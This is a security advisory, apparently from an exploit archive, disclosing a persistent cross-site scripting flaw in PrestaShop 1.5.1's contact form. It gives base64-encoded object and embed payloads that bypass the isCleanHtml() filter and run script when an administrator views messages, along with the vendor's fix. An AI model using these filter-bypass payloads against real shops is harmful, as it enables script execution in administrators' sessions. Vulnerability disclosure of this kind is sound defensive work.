PrestaShop 1.5.1 Cross Site Scripting

`PrestaShop <= 1.5.1 Persistent XSS  
  
Tested under: Firefox, Chrome and Safari latest versions  
Discover Credits: David Sopas - [email protected] | @dsopas |  
davidsopas.com/labs  
Original link: http://davidsopas.com/labs/prestashop_xss.txt  
  
Description:  
PrestaShop is the most reliable and flexible Open-source e-commerce  
software. Since 2007,  
PrestaShop has revolutionized the industry by providing features that  
engage shoppers and  
increase online sales. The Prestateam consists of over 100 passionate  
individuals and more  
than 350,000 community members dedicated to innovated technology.  
It has more than 2.000.000 downloads and won the best open-source  
e-commerce software in  
the last few years.  
  
When installing and analyzing PrestaShop on a secure environment I  
discovered that it's  
possible to bypass isCleanHtml() function, used in many places, in  
this case in particular  
the Contact Form.  
A user could use this vulnerability, a Persistent Cross-site  
Scripting, to execute malicious  
payloads on admins message box.  
  
Proof of concept:  
In the message field a user could write:  
<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgid2Vic2VndXJhLm5ldC14c3MiKTwvc2NyaXB0  
Pg=='></object>  
  
or  
  
<embed src='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc  
3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9y  
Zy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0  
ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIndlYnNlZ3VyYS5uZXQgeHNzIik7PC9zY3  
JpcHQ+PC9zdmc+' type='image/svg+xml' AllowScriptAccess='always'></embed>  
  
Both Base64 strings are mainly <script>alert()</script> encoded.  
  
Those XSS vectors bypass the filter on isCleanHtml() and execute  
automatically when the admin  
check the messages on the admin area. This is critical and could be  
used to implement very  
bad scenarios.  
  
Keep in mind that on some webmail variations, the code is also  
executed. A user can even play  
with heading <h1> and other HTML on message box.  
  
<a href="#" target="_blank"><img  
src="http://www.prestashop.com/images/logo.png" width="800px"  
height="600px" border="0" /></a>  
  
or  
  
<a href="#" target="_blank" style="font-size: 30px">Click here</a>  
  
Again, encoding with Base64 could also obfuscate a little bit.  
  
I think that in this case in particular, HTML should be stripped out  
because it has no meaning  
in my opinion on the contact form.  
  
Solution: Vendor reported that upgrading PrestaShop to version 1.5.2  
will fix admins message  
box bug.  
HTML on email accounts still a possibility in the latest version.  
According to the vendor,  
it will be fixed on the next version.  
  
References:  
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet  
http://ha.ckers.org/  
http://forge.prestashop.com/browse/PSCFV-5204  
  
  
--  
  
David Sopas  
[email protected] # @dsopas  
`